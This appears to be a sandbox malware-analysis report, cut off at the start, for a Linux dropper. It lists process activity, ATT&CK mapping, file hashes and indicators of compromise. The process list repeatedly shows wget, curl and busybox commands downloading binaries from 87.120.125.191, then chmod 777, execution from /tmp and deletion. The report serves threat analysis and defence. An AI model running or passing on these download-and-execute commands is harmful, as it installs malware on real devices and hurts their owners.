  wget http://87.120.125.191/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Writes file to tmp directory
  PID:947
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Writes file to tmp directory
  PID:949
- /bin/chmod
  chmod 777 PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  ./PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  PID:953
- /usr/bin/wget
  wget http://87.120.125.191/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Writes file to tmp directory
  PID:954
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Writes file to tmp directory
  PID:956
- /bin/chmod
  chmod 777 FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  ./FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Executes dropped EXE
  PID:958
- /bin/rm
  rm FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  PID:960
- /usr/bin/wget
  wget http://87.120.125.191/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  PID:961
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:962
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  PID:963
- /bin/chmod
  chmod 777 YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - File and Directory Permissions Modification
  PID:964
- /tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  ./YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - Executes dropped EXE
  PID:965
- /bin/rm
  rm YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  PID:966
- /usr/bin/wget
  wget http://87.120.125.191/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  PID:967
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:968
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  PID:970
- /bin/chmod
  chmod 777 kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - File and Directory Permissions Modification
  PID:971
- /tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  ./kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - Executes dropped EXE
  PID:972
- /bin/rm
  rm kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  PID:973
- /usr/bin/wget
  wget http://87.120.125.191/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  PID:974
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:975
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  PID:976
- /bin/chmod
  chmod 777 2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  ./2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm 2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  PID:979

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N

Path /tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

FpXVAafXBm72J4SxspUiJafBZymFJomITC

Path /tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC
Size 117KB
SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
MD5 849fa04ef88a8e8de32cb2e8538de5fe
SHA1 c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA512 2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
SSDEEP 3072:VozXHIisGFgyKB7xlBAUNFd4vm4QbZJmf35zPp:bGmyKBxl2U+vm4QbZJm/5zPp
MD5 SHA1 SHA512 SSDEEP

Submit Download

PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa

Path /tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

Submit Download

bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1

Path /tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
Size 111KB
SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
MD5 701e7a55a4f3650f5feee92a9860e5fc
SHA1 6ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA512 7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
SSDEEP 3072:IF2Z9LeHHHPfbLGR0+XrOcVm/pOQbZJXx35zzp:fZ9LeHHHPfnGRJ7OcVm/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

Submit Download

ioc	pid	Process
/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	729	bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
/tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N	738	4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
/tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc	744	SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
/tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE	761	2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
/tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8	781	ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
/tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh	805	6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
/tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo	816	UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
/tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0	822	w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
/tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O	828	YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
/tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd	847	kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
/tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn	868	EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
/tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa	876	PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
/tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC	883	FpXVAafXBm72J4SxspUiJafBZymFJomITC
/tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo	890	2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
/tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc	896	SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	902	bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
/tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N	909	4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
/tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh	915	6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
/tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo	921	UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
/tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0	927	w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
/tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE	933	2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
/tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8	939	ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
/tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn	945	EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
/tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa	951	PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
/tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC	958	FpXVAafXBm72J4SxspUiJafBZymFJomITC
/tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O	965	YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
/tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd	972	kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
/tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo	978	2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads